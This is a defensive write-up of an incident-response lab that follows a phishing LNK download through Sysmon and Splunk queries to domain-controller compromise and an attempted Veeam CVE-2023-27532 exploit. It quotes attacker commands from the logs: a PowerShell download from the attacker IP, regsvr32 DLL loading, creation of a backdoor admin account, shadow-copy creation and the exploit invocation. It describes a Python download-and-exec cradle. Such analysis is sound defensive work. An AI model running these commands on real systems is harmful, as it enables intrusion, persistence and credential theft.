LNKTrap cover

LNKTrap: Following a Phishing Link to Domain Compromise

I worked LNKTrap as an incident, not as a question sheet. Every step starts from something I saw in the logs, explains why it mattered, and then uses a time, user, host, process GUID, hash, or IP as the handle for the next move. Where the telemetry only supports an attempt or an inference, I describe it that way.

The scenario: InfinitTech Solutions posted a job and took applications by email. One email carried no attachment, only a link to an external page with a “Download CV” button. An IT staffer visited the page, downloaded the file, ran it, and the machine was compromised. The brief notes repeated failed attempts to escalate and persist. Those retries left additional artifacts.

Investigation map

Scenario and telemetry baseline

Before hunting anything specific I wanted to know what I could actually see. I started by counting events per index so I knew where the data lived.

| eventcount summarize=false index=*
| table index count
| sort - count

Pasted image 20260805093210.png

Then I looked at the hosts, sources, and sourcetypes feeding those indexes.

Pasted image 20260805093941.png

Pasted image 20260805094005.png

That gave me the shape of the environment:

The brief describes a link rather than an attachment. This maps to T1566.002 (Spearphishing Link), so I started there. I kept ITWS as a hypothesis, not a conclusion. The evidence later pointed to WS1.

Initial access: the phishing email and the download

Finding the mail, even without an obvious mail index

There was no dedicated mail index, so I searched the Linux syslog telemetry for Postfix and Dovecot activity. Postfix receives, queues, and routes mail. Dovecot handles final mailbox delivery. The sender and recipient appear in separate log lines joined by a shared Postfix queue ID. Correlating on that queue ID connected the records.

Pasted image 20260805111342.png

The phishing applicant was [email protected], and the recipient was [email protected] (Brandon Torres). This corrected my starting hypothesis. The file telemetry below places btorres on WS1, not ITWS.

From the inbox to the disk

The email carried no attachment. It linked to an external page. The download landed on WS1, so I traced the archive to its source.

index=main host="WS1"
"Albert_Resume.zip"
| table _time source EventCode User Image CommandLine TargetFilename ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805105132.png

To identify the file’s origin, I checked the Sysmon Event 15 (FileCreateStreamHash) record for the archive’s Zone.Identifier stream, which browsers add to downloaded files.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=15
TargetFilename=*Albert_Resume.zip:Zone.Identifier*
| table _time User Image TargetFilename Contents Hash
        ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805105424.png

The Zone.Identifier contents told the whole delivery story: at 11:31:38, Edge downloaded Albert_Resume.zip from http://18.199.152.73/Albert_Resume.zip, referred by http://18.199.152.73/index.html. That is the “Download CV” page from the brief, and 18.199.152.73 is the attacker’s web server.

Explorer then handed the archive to WinRAR, which extracted its contents.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
(
    TargetFilename="*Albert_Resume.zip*"
    OR TargetFilename="*Albert_Resume.lnk*"
    OR TargetFilename="*2.jpg"
)
NOT TargetFilename="*:Zone.Identifier"
| table _time EventCode TargetFilename Hash Hashes
| sort 0 _time

Pasted image 20260805112210.png

The “CV” was a compressed archive hiding a shortcut. WinRAR dropped two files: Albert_Resume.lnk (the executable payload) and 2.jpg (a decoy image). The shortcut is what triggered the initial execution, and I recorded its hash as an IOC:

Albert_Resume.lnk
  SHA256 : BD9F7ADCF2F63F7EFBA32E613DA8A86CB1732B88D10A4536AA576FCF90101BD0
  SHA1   : CB2BFA5484E868450EBF7DE4DB62A2B1DF592F1C

At 11:34:38, an Event 26 (FileDeleteDetected) shows that Albert_Resume.lnk was deleted. At 11:35:00 to 11:35:04, the archive was downloaded and extracted a second time. This explains the repeated processes in the later stages.

Execution: the LNK and its payload chain

Isolating the malicious process from the noise

My first instinct was to look straight for the dropped shortcut and CV files on the host I suspected, ITWS.

index=main source="xmlwineventlog:microsoft-windows-sysmon/operational" EventCode=11 host="ITWS" (TargetFilename=*lnk* OR TargetFilename=*CV* OR TargetFilename=*resume*)
| where Image!= "C:\Windows\system32\svchost.exe"
| where Image!= "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"
| table _time,User,Image,TargetFilename,ProcessId,ProcessGuid

That returned no abnormal results on ITWS. I widened the search and listed the processes launched by explorer.exe across the hosts.

index=main
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1 ParentImage=*explorer.exe
| stats count
        min(_time) as first_seen
        max(_time) as last_seen
        values(User) as Users
  by host Image
| convert ctime(first_seen) ctime(last_seen)
| sort 0 host - count

Pasted image 20260805103112.png

Then I filtered out the benign, EC2-and-OneDrive background noise so the anomalies stood out.

index=main
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1 ParentImage=*explorer.exe
| search NOT (
    Image="*\\SecurityHealthSystray.exe"
    OR Image="*\\OneDrive.exe"
    OR Image="*\\OneDriveSetup.exe"
    OR Image="*\\Ec2WallpaperInfo.exe"
    OR Image="*\\ie4uinit.exe"
    OR Image="*\\unregmp2.exe"
    OR Image="*\\fsquirt.exe"
    OR Image="*\\Installer\\chrmstp.exe"
    OR CommandLine="*EC2Launch.exe*wallpaper*"
    OR CommandLine="*RunWallpaperSetupInit.cmd*"
)
| table _time host Computer User Image CommandLine ProcessId ProcessGuid
| sort 0 Image

Pasted image 20260805103859.png

The filtered view exposed a suspicious cmd.exe on WS1. Before following it, I checked the GUID associated with the extraction so I did not confuse the archive process with the payload process.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
(EventCode=1 OR EventCode=11)
ProcessGuid="{c73af8d8-c01a-6798-000c-000000005100}"
| table _time EventCode Image ParentImage ParentProcessGuid
        TargetFilename ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805104552.png

That GUID belongs to WinRAR, not to the malicious shell. It confirms that WinRAR extracted Albert_Resume.lnk and 2.jpg. The next Sysmon Event 1 gives the actual cmd.exe GUID, {c73af8d8-c025-6798-030c-000000005100}, which is the process I followed for the payload logic.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
ProcessGuid="{c73af8d8-c025-6798-030c-000000005100}"
| table _time User ParentImage Image CommandLine ProcessGuid

Pasted image 20260805113231.png

That cmd.exe is a multi-stage launcher, wrapped in junk to slow down analysis:

  1. Downloads a config file with PowerShell:
Invoke-WebRequest -Uri "http://18.199.152.73/ieuinit.inf" `
  -OutFile "C:\Users\btorres\AppData\Roaming\Microsoft\ieuinit.inf"
  1. Copies a legitimate Windows binary into a user-writable directory (ie4uinit.exe, a signed Microsoft binary):
C:\Windows\System32\ie4uinit.exe  →  C:\Users\btorres\AppData\Roaming\Microsoft\ie4uinit.exe
  1. Runs the copied binary with -BaseSettings, including through WMI:
wmic process call create "...ie4uinit.exe -BaseSettings"
  1. Attempts to load and register a DLL with regsvr32:
regsvr32 /s C:\Users\btorres\AppData\Roaming\Microsoft\2056.dll

The long set Pupils... blocks appear to be obfuscation. The commands indicate an attempt to stage payloads in AppData, copy a trusted binary, and retrieve a DLL. I verified each action against the telemetry.

First, the processes themselves:

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
earliest="01/28/2025:11:31:49"
latest="01/28/2025:11:33:00"
(
    Image="*powershell.exe"
    OR Image="*wmic.exe"
    OR Image="*ie4uinit.exe"
    OR Image="*regsvr32.exe"
)
| table _time User Image ParentImage CommandLine
        ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805113524.png

Then I checked which target files had a Sysmon file-creation record in the first execution slice:

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=11
earliest="01/28/2025:11:31:49"
latest="01/28/2025:11:32:10"
(
    TargetFilename="*ieuinit.inf"
    OR TargetFilename="*ie4uinit.exe"
    OR TargetFilename="*2056.dll"
)
| table _time Image TargetFilename ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805114126.png

Only the copied ie4uinit.exe appears in this Event 11 result. There is no matching Event 11 here for ieuinit.inf or 2056.dll, so the launcher command alone is not file-creation proof for those two files. The later Event 7 record is what proves that 2056.dll was present and loaded.

Before expanding the individual fields, I bucketed the Sysmon activity recorded for the two copied ie4uinit.exe processes:

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
(
    ProcessGuid="{c73af8d8-c02b-6798-0f0c-000000005100}"
    OR ProcessGuid="{c73af8d8-c02b-6798-0e0c-000000005100}"
)
| stats values(signature)

Pasted image 20260805114428.png

I then profiled the two copied-ie4uinit.exe processes by their GUIDs to see their activity, lifetime, files, and loaded modules in one view.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
(
    ProcessGuid="{c73af8d8-c02b-6798-0f0c-000000005100}"
    OR ProcessGuid="{c73af8d8-c02b-6798-0e0c-000000005100}"
)
| stats
        min(_time) as first_seen
        max(_time) as last_seen
        values(signature) as Activity
        values(CommandLine) as CommandLine
        values(ParentCommandLine) as ParentCommandLine
        values(TargetFilename) as FilesCreated
        values(ImageLoaded) as ImagesLoaded
  by ProcessGuid
| convert ctime(first_seen) ctime(last_seen)

Pasted image 20260805114529.png

Making the copied binary the pivot

The copied ie4uinit.exe was doing the interesting work, so I made it the pivot and followed every execution of it.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1 Image="*ie4uinit.exe"
| table _time User Image CommandLine
        ParentImage ParentCommandLine
        ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805120118.png

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
Image="*AppData*ie4uinit.exe"
| stats
        min(_time) as first_seen
        max(_time) as last_seen
        values(EventCode) as EventCodes
        values(signature) as Activity
        values(ImageLoaded) as ImagesLoaded
        values(TargetFilename) as FilesCreated
        values(DestinationIp) as DestinationIp
        values(DestinationPort) as DestinationPort
  by ProcessId ProcessGuid
| convert ctime(first_seen) ctime(last_seen)
| sort 0 first_seen

Pasted image 20260805120419.png

The first attempt (around 11:31:55, PIDs 3708 and 9472) loaded scrobj.dll and urlmon.dll, created Bing.url and temporary OLDCC*.tmp files, and terminated. No network connection was recorded. The second attempt (11:35:25, PIDs 3500 and 11060) connected out and loaded scrobj.dll, scrrun.dll, wshom.ocx, urlmon.dll, and amsi.dll.

The COM scriptlet that failed

To understand what the second attempt reached for, I looked at the process IDs from that run across other channels.

index=main host="WS1"
earliest="01/28/2025:11:35:20"
latest="01/28/2025:11:36:00"
("3500" OR "11060")
| stats count by source EventCode
| sort 0 -count

Pasted image 20260805120924.png

Two channels I had not been watching lit up: Security 5158 (local port binding) and CAPI2 80/81. The CAPI2 records came from WinVerifyTrust, so I inspected them to see what object ie4uinit.exe was trying to validate.

index=main host="WS1"
source="XmlWinEventLog:Microsoft-Windows-CAPI2/Operational"
EventCode=81
earliest="01/28/2025:11:35:20"
latest="01/28/2025:11:36:00"
("3500" OR "11060")
| table _time EventCode ProcessID ProcessName Message _raw
| sort 0 _time

Pasted image 20260805121035.png

The raw message was messy, so I pulled the fields out with rex.

index=main host="WS1"
source="XmlWinEventLog:Microsoft-Windows-CAPI2/Operational"
EventCode=81
earliest="01/28/2025:11:35:20"
latest="01/28/2025:11:36:00"
("3500" OR "11060")
| rex field=_raw "<Execution ProcessID='(?<PID>\d+)'"
| rex field=_raw "filePath='(?<AttemptedPath>[^']+)'"
| rex field=_raw "stepID='2'[^>]*><Result value='(?<ErrorCode>[^']+)'>(?<Error>[^<]+)"
| table _time PID AttemptedPath ErrorCode Error
| sort 0 _time

Pasted image 20260805121206.png

There it is: the intended remote object was the COM scriptlet vdfg4321nf, but the URL got mangled into the local-looking path C:\Windows\system32\http:\18.199.152.73\vdfg4321nf. CAPI2 returned 7B for the invalid filename syntax, followed by 80092003 and 800B0100. The extensionless scriptlet did not load because the path was broken. This is one of the failed attempts the brief warned about.

The DLL that did drop

The scriptlet failed, but the DLL side of the launcher was still live. I traced the regsvr32 invocations.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1 Image="*regsvr32.exe"
earliest="01/28/2025:11:31:40"
latest="01/28/2025:11:36:30"
| table _time User Image CommandLine
        ParentImage ParentCommandLine
        ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260805121854.png

Pasted image 20260805121933.png

regsvr32 /s ...\2056.dll ran repeatedly, first from cmd.exe during both passes and later straight from PowerShell. These process events prove repeated load or registration attempts. They do not prove registration succeeded. The Event 7 evidence in the next section proves the more important point: 2056.dll actually loaded into regsvr32.exe.

Putting the execution stage in order:

Time Activity What it shows
11:31:40 WinRAR extracted Albert_Resume.lnk and 2.jpg. The archive delivered a shortcut and a decoy image.
11:31:49 Explorer launched the malicious cmd.exe from the shortcut. User execution kicked off the chain.
11:31:50 cmd.exe launched PowerShell with the long command sequence. The shortcut started its payload logic.
11:31:50 PowerShell tried to download ieuinit.inf from 18.199.152.73. External payload retrieval attempted.
11:31:54 xcopy copied ie4uinit.exe into AppData\Roaming\Microsoft. A trusted binary relocated to a writable path.
11:31:55 WMI launched two ie4uinit.exe -BaseSettings processes (PIDs 3708, 9472). Proxy execution through the copied binary.
11:31:55–11:32:18 Both loaded scrobj.dll and urlmon.dll, created Bing.url and OLDCC*.tmp, then terminated. First COM attempt. No network connection was recorded.
11:31:56 cmd.exe launched regsvr32 /s ...\2056.dll (PID 9480). First DLL load or registration attempt.
~11:35 The whole sequence ran again. The operator retried the failed run.
11:35:25 WMI launched two more ie4uinit.exe -BaseSettings (PIDs 3500, 11060). Second COM attempt.
11:35:25 Both connected to 18.199.152.73:80. Sysmon Event 3 proves outbound activity this time.
11:35:25–11:35:37 Loaded scrobj.dll, scrrun.dll, wshom.ocx, urlmon.dll, and amsi.dll. Registry Event 13 was also recorded. The process loaded COM and scripting components.
11:35:26 CAPI2 Event 81 recorded the malformed ...\http:\18.199.152.73\vdfg4321nf. The vdfg4321nf scriptlet fetch failed on a broken path.
11:35:26 cmd.exe launched another regsvr32 /s ...\2056.dll (PID 4144). DLL loading was retried.
11:36:04 PowerShell launched regsvr32 2056.dll directly (PID 392). A later retry. Event 7 proves that the DLL loaded.

The chain, end to end:

Albert_Resume.lnk
  → cmd.exe
  → PowerShell
  → download ieuinit.inf
  → copy ie4uinit.exe into AppData
  → WMI launches ie4uinit.exe -BaseSettings
  → COM / scripting components load
  → connection to 18.199.152.73:80
  → malformed request for vdfg4321nf fails
  → cmd.exe launches regsvr32 against 2056.dll
  → later PowerShell retries the registration

Persistence and command & control

Proving 2056.dll loaded

The launcher tried to register 2056.dll several times. To move from “attempted” to “loaded”, I picked the regsvr32 process GUID that hosted it and profiled the whole thing.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
ProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| stats
        values(EventCode) as EventCodes
        values(signature) as Activity

Pasted image 20260806105534.png

Then I asked what started it, as which user, and with what command.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
ProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| table _time User Image CommandLine
        ParentImage ParentCommandLine
        ParentProcessId ParentProcessGuid

Pasted image 20260806105718.png

PowerShell PID 11000
  → working in AppData\Roaming\Microsoft
  → launched regsvr32.exe
  → targeted the relative filename 2056.dll
  → ran as MARMARCORP\btorres

Event 7 (ImageLoaded) settled whether the DLL truly loaded:

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=7
ProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| table _time Image ImageLoaded Hashes
        Signed Signature SignatureStatus
| sort 0 _time

Pasted image 20260806105928.png

Pasted image 20260806105945.png

Event 7 is the proof:

The staged LOLBin: msxsl.exe

With the DLL confirmed as running code, I looked at what it wrote to disk (Event 11).

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=11
ProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| table _time Image TargetFilename
        ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260806113515.png

The regsvr32/2056.dll process created two copies of msxsl.exe:

Internet cache:      ...\INetCache\IE\5HBHB1LN\msxsl[1].exe
Staged copy:         ...\AppData\Roaming\Microsoft\msxsl.exe

msxsl.exe is a Microsoft utility for transforming XML with XSLT stylesheets, and attackers can abuse it to execute script embedded in an XSL transformation. Here, the malicious 2056.dll process placed it in a user-writable staging path. The word that matters is staged: the logs prove placement, not execution. I did not find a process event showing msxsl.exe launch or process an encrypted XML payload. Its role in the intended C2 chain comes from the creator, location, and XML/XSLT capability, not from an observed launch.

The C2 connections and registry touches

The same DLL-hosting process reached out repeatedly (Event 3).

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=3
ProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| table _time User Image
        SourceIp SourcePort
        DestinationIp DestinationPort
        DestinationHostname Protocol Initiated
| sort 0 _time

Pasted image 20260806110113.png

Five outbound TCP connections from WS1 (10.10.11.121) to the attacker server 18.199.152.73:80. That proves network activity from the 2056.dll process, though not the content of what crossed the wire.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=13
ProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| table _time User Image TargetObject Details
| sort 0 _time

Pasted image 20260806110414.png

Both Event 13 rows are BAM execution-history updates for cmd.exe. Windows wrote them because cmd.exe ran. They are not attacker-created persistence keys. They corroborate child command execution and provide a reason to pivot from the regsvr32 GUID to its Event 1 children.

What the DLL spawned: a scheduled task and a beacon

The registry activity told me cmd.exe had run, so the obvious next question was what the DLL-hosting regsvr32 spawned.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
ParentProcessGuid="{c73af8d8-c124-6798-500c-000000005100}"
| table _time User Image CommandLine ProcessId ProcessGuid ParentImage
| sort 0 _time

Pasted image 20260806111116.png

Two child branches:

regsvr32.exe
├── cmd.exe PID 8024 → attempted to execute 46891.ocx
└── cmd.exe PID 8264 → attempted to create scheduled task 8766984F94DD

Following the scheduled-task branch:

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
ParentProcessGuid="{c73af8d8-c124-6798-510c-000000005100}"
| table _time User Image CommandLine ProcessId ProcessGuid ParentImage
| sort 0 _time

Pasted image 20260806111334.png

schtasks.exe ran and tried to create task 8766984F94DD from the XML definition ...\AppData\Roaming\Microsoft\B6371647863635.txt.

I searched the exact task name and XML filename across the remaining WS1 telemetry. Only the two Sysmon Event 1 process records above came back. The dataset has no TaskScheduler/Operational events for WS1, and I found no Security 4698 event, task file, or TaskCache key for 8766984F94DD. The command proves a persistence attempt, not a successfully registered task.

The other branch, 46891.ocx, is the C2 beacon. I profiled it across sources.

index=main host="WS1" "46891.ocx"
| stats
        count as TotalEvents
        dc(EventCode) as EventCodeTypeCount
        values(EventCode) as EventCodes
  by source
| sort 0 -TotalEvents

Pasted image 20260806112151.png

Then I recovered its process GUID so I could follow it directly.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
Image="*46891.ocx"
earliest="01/28/2025:11:36:00"
latest="01/28/2025:11:40:00"
| stats
        min(_time) as first_seen
        max(_time) as last_seen
        values(ProcessId) as ProcessIds
        values(ProcessGuid) as ProcessGuids
        values(EventCode) as EventCodes
        values(signature) as Activities
| convert ctime(first_seen) ctime(last_seen)

Pasted image 20260806114559.png

With the GUID in hand, I confirmed the beacon’s own C2 traffic.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=3
ProcessGuid="{c73af8d8-c124-6798-560c-000000005100}"
| stats
        count as Connections
        min(_time) as first_seen
        max(_time) as last_seen
  by DestinationIp DestinationPort Protocol
| convert ctime(first_seen) ctime(last_seen)

Pasted image 20260806114751.png

The process made 1,421 TCP connections to 18.199.152.73:80 between 11:36:07 and 11:39:06. That process-bound network volume is the direct evidence that 46891.ocx was the deployed beacon.

The beacon’s first commands

Finally, I looked at what the beacon spawned.

index=main host="WS1"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
ParentProcessGuid="{c73af8d8-c124-6798-560c-000000005100}"
| table _time User Image CommandLine ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260806115231.png

Two commands stood out:

Rolling the WS1 activity into one process tree ties the whole stage together and shows that typeperf command in context.

index=main EventCode=1 earliest="01/28/2025:11:30:00" latest="01/28/2025:11:54:00"
| rex field=_raw "<Data Name='Image'>(?<Image>[^<]+)"
| rex field=_raw "<Data Name='ParentImage'>(?<ParentImage>[^<]+)"
| rex field=_raw "<Data Name='ProcessId'>(?<ProcessId>[^<]+)"
| rex field=_raw "<Data Name='ParentProcessId'>(?<ParentProcessId>[^<]+)"
| rex field=_raw "<Data Name='CommandLine'>(?<CommandLine>[^<]+)"
| rex field=_raw "<Data Name='User'>(?<User>[^<]+)"
| rex field=_raw "<Computer>(?<Computer>[^<]+)</Computer>"
| search Computer="*WS1*" User="*btorres*"
| rex field=Image "\\\\(?<ProcessName>[^\\\\]+)$"
| rex field=ParentImage "\\\\(?<ParentName>[^\\\\]+)$"
| eval parent = ParentName." (".ParentProcessId.")"
| eval child = ProcessName." (".ProcessId.")"
| eval detail=strftime(_time,"%Y-%m-%d %H:%M:%S")." ".CommandLine
| pstree child=child parent=parent detail=detail spaces=50
| table tree

lnktrap-ws1-pstree.png

The tree shows the parentage. PowerShell launched regsvr32 2056.dll. That regsvr32 process spawned one cmd.exe for 46891.ocx and another for the scheduled-task attempt. The 46891.ocx beacon ran whoami, issued the typeperf delay, and made three malformed del /p ...\2056.dll cleanup attempts from 11:37:28 to 11:37:57. The two ie4uinit.exe processes also spawned rundll32 ...\WininetPlugin.dll,MigrateCacheForUser. I found no later malicious branch tied to those cache-migration processes, so I did not extend the chain through them.

Privilege escalation and lateral movement

No confirmed local escalation: where did the privilege come from?

The beacon did make one elevation-looking move on WS1. Security Event 4688 records 46891.ocx (PID 2328, hex 0x918) as the parent of Taskmgr.exe at 11:38:13. Task Manager started for btorres at High Mandatory Level, with the process creation handled by SYSTEM.

index=main host="WS1"
source="XmlWinEventLog:Security"
EventCode=4688
"46891.ocx" "Taskmgr.exe"
| table _time SubjectUserName SubjectDomainName
        NewProcessName NewProcessId
        ParentProcessName ProcessId
        TargetUserName MandatoryLabel
| sort 0 _time

That is evidence of an elevation attempt or UAC-mediated high-integrity launch, but not proof that attacker code gained high integrity. I found no child process, command, file action, or network event attributable to that Taskmgr.exe. With no follow-on, I kept local privilege escalation on WS1 as attempted but unconfirmed.

Since the next handoff was not visible directly, I swept every host for enumeration commands.

index=* source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| search CommandLine="*Domain Admins*" OR CommandLine="*net group*" OR CommandLine="*whoami*"
| table _time host User ProcessId ProcessGuid Image CommandLine
        ParentProcessId ParentProcessGuid ParentImage ParentCommandLine
        CurrentDirectory IntegrityLevel LogonId Hashes
| sort _time

Pasted image 20260806121723.png

That returned a lot, so I binned the same idea by day to see which host the recon actually concentrated on.

index=main source="xmlwineventlog:microsoft-windows-sysmon/operational"
| bin span=1d _time
| regex CommandLine="(net group|net user|cmdkey|systeminfo|whoami)"
| timechart span=1d values(CommandLine) as ReconCommands, count(CommandLine) as ReconCmdCount by Computer

Pasted image 20260807090422.png

DC01 was loud with discovery activity, so I focused there.

index=main host="DC01"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
| regex CommandLine="(?i)(net group|net user|cmdkey|systeminfo|whoami)"
| table _time User Image CommandLine ParentImage ParentCommandLine ProcessId ProcessGuid ParentProcessId ParentProcessGuid
| sort 0 _time

Pasted image 20260807091427.png

Between two recon timestamps I checked for an interactive logon that would explain how the operator got onto DC01.

index=* host=DC01* EventCode=4624
  earliest="01/28/2025:11:44:00" latest="01/28/2025:12:15:00"
| rex field=_raw "<Data Name='TargetUserName'>(?<TargetUser>[^<]+)"
| rex field=_raw "<Data Name='LogonType'>(?<LogonType>\d+)"
| rex field=_raw "<Data Name='IpAddress'>(?<SrcIP>[^<]+)"
| rex field=_raw "<Data Name='ElevatedToken'>(?<Elev>[^<]+)"
| rex field=_raw "<Data Name='TargetLogonId'>(?<LogonId>[^<]+)"
| rex field=_raw "<Data Name='LogonProcessName'>(?<LogonProc>[^<]+)"
| where NOT match(TargetUser, "\$$")
  AND NOT match(TargetUser, "^(ANONYMOUS LOGON|SYSTEM|LOCAL SERVICE|NETWORK SERVICE|-)$")
| table _time TargetUser LogonType LogonProc SrcIP Elev LogonId
| sort _time

Pasted image 20260807092250.png

MARMARCORP\btorres logged into DC01 over RDP (Logon Type 10) from 10.10.6.72 at 11:44:44 and 11:45:55, several minutes before the first enumeration on DC01 at 11:50:17.

This proves use of the compromised account on the DC, but it does not prove a direct WS1 → DC01 hop. WS1 used 10.10.11.121, while the RDP source was 10.10.6.72. The data does not identify the system at 10.10.6.72 or show how 46891.ocx later reached the DC.

The next question was whether btorres already had the rights to matter on a DC. I checked group-membership changes.

index=* (EventCode=4728 OR EventCode=4732 OR EventCode=4756)
  earliest="12/28/2024:00:00:00" latest="01/29/2025:00:00:00"
| rex field=_raw "<Data Name='MemberName'>(?<Member>[^<]+)"
| rex field=_raw "<Data Name='TargetUserName'>(?<Group>[^<]+)"
| rex field=_raw "<Data Name='SubjectUserName'>(?<AddedBy>[^<]+)"
| table _time host EventCode Group Member AddedBy
| sort _time

Pasted image 20260807092756.png

At 08:48:31, Security Event 4728 shows DC01$ adding Brandon Torres to Domain Admins. That predates the phishing mail by almost 50 minutes, so this dataset does not tie the group change to the attacker. What it does establish is that btorres already had domain-admin membership when the later RDP session began.

rundll32 abuse on the DC

On the DC, the beacon reached for a trusted process to keep going.

index=main host="DC01"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
Image="*rundll32.exe"
earliest="01/28/2025:11:50:00"
latest="01/28/2025:11:54:00"
| table _time User Image CommandLine
        ParentImage ParentCommandLine
        ProcessId ProcessGuid
        ParentProcessId ParentProcessGuid
| sort 0 _time

Pasted image 20260807095243.png

11:51:03   46891.ocx  →  rundll32.exe PID 4828
11:53:22   rundll32.exe PID 4828  →  rundll32.exe PID 6136

The process named 46891.ocx spawned rundll32.exe, which later spawned another rundll32.exe. This proves the trusted-binary chain on DC01. It does not fill the earlier transfer gap from WS1. I followed the first rundll32 branch to see what it launched.

index=main host="DC01"
source="xmlwineventlog:microsoft-windows-sysmon/operational"
EventCode=1
ParentProcessGuid="{97C502F8-C4A7-6798-AA09-000000009703}"
| table _time User Image CommandLine
        ParentImage ParentCommandLine
        ProcessId ProcessGuid
| sort 0 _time

Pasted image 20260807095543.png

Pasted image 20260807095914.png

What the first rundll32 branch did

The first rundll32.exe branch mixed discovery, collection, and persistence attempts before the Python stage:

11:52:04   net group /domain "Domain Admins" > ...\Temp\6594.txt
11:52:12   nltest /trusted_domains > ...\Temp\269716.txt
11:52:18   whoami /upn
11:52:33   vssadmin list shadows
11:52:40   vssadmin create shadow /for=C: 2>&1
11:52:50   net user backup Password!323 /add
11:52:56   net localgroup Administrators backup /add

The filenames identify the output. 6594.txt contains the result of the Domain Admins query. 269716.txt contains the result of nltest /trusted_domains, and the operator read it later at 12:11:15 with cat. The process records also show attempts to create a shadow copy and a local backup administrator account on DC01. Without corresponding success events, I do not mark either action as completed.

The Python cradle

The interesting line was a one-liner that wrote a Python file and then ran it. Pulling the full sequence for the rundll32-hosted cmd.exe on DC01 gave the exact staging timeline:

Pasted image 20260807095821.png

11:58:48   7z x python-3.10.11-embed-amd64.zip -y      (embedded Python runtime extracted)
11:58:57   7z x python-3.10.11-embed-amd64.zip -y      (retry)
11:59:08   python
11:59:50   cmd /C echo "import base64 import zlib ... exec(decoded_script)" > cardle.py
11:59:57   python cardle.py
12:01:19   python cardle.py
12:02:54   python cardle.py

The operator extracted a portable Python interpreter, echoed a base64 and zlib loader into cardle.py, and ran it several times. cardle.py is the Python C2 script. The import base64 import zlib line is malformed Python, and the process terminated quickly after each launch.

Pyramid, and the real C2

I opened the loader’s contents. The decoded content included a C2 configuration, ChaCha20 routines, and urllib download-and-exec() logic for an in-memory cradle.

Pasted image 20260807102654.png

Pasted image 20260807102735.png

The use of a legitimate signed python.exe to load payloads in memory matches Pyramid, the open-source framework by @naksyn.

Pasted image 20260807103300.png

The decoded configuration contained these C2 details:

The cradle launched and exited almost immediately with no observable follow-on. This C2 attempt failed.

Pasted image 20260807101056.png

Pivoting to Veeam

After the Python cradle stopped, the operator changed tools and targeted the backup infrastructure.

Pasted image 20260807100208.png

12:04:37   7z x VeeamH4X.zip           (custom tooling extracted to Temp)
12:04:xx   ipconfig /all
12:05:12   VeeamH4X.exe net.tcp://10.10.11.63:9401/
12:09:19   VeeamH4X.exe net.tcp://10.10.11.114:9401/     (second target)

The later command slice shows the retries clearly: the tool ran against 10.10.11.63:9401 at 12:05:12, 12:05:54, 12:06:40, and 12:08:15, then against 10.10.11.114:9401 at 12:09:19 and 12:14:33. The 12:11:15 read-back of 269716.txt sits between those attempts.

VeeamH4X.zip is the archive used for this stage, and VeeamH4X.exe net.tcp://10.10.11.63:9401/ is the command that launched the exploit against the Veeam Backup Service. This marks the transition from the local Python cradle to attempts against an internal service over net.tcp port 9401.

The two Temp archives (python-3.10.11-embed-amd64.zip, VeeamH4X.zip) appear on DC01 through 7z extraction, not as browser downloads with a Zone.Identifier. This is consistent with transfer through the existing beacon or rundll32 channel, but the logs only prove extraction. They do not show the transfer method.

Post-exploitation and impact

The vulnerability: CVE-2023-27532

VeeamH4X targeting a Veeam service over net.tcp:9401 gave me a strong CVE candidate. I did a quick web search first, which produced the summary below, and then checked the claim against the vendor advisory rather than treating the search result as evidence.

Pasted image 20260807104614.png

Veeam KB4424 confirms that CVE-2023-27532 affects Veeam.Backup.Service.exe on TCP 9401 by default. An unauthenticated user inside the backup-infrastructure network perimeter can request encrypted credentials stored in the configuration database. The advisory does not say the service returns plaintext credentials, so I do not describe them as decrypted here.

Did the exploit work? Watch the logons

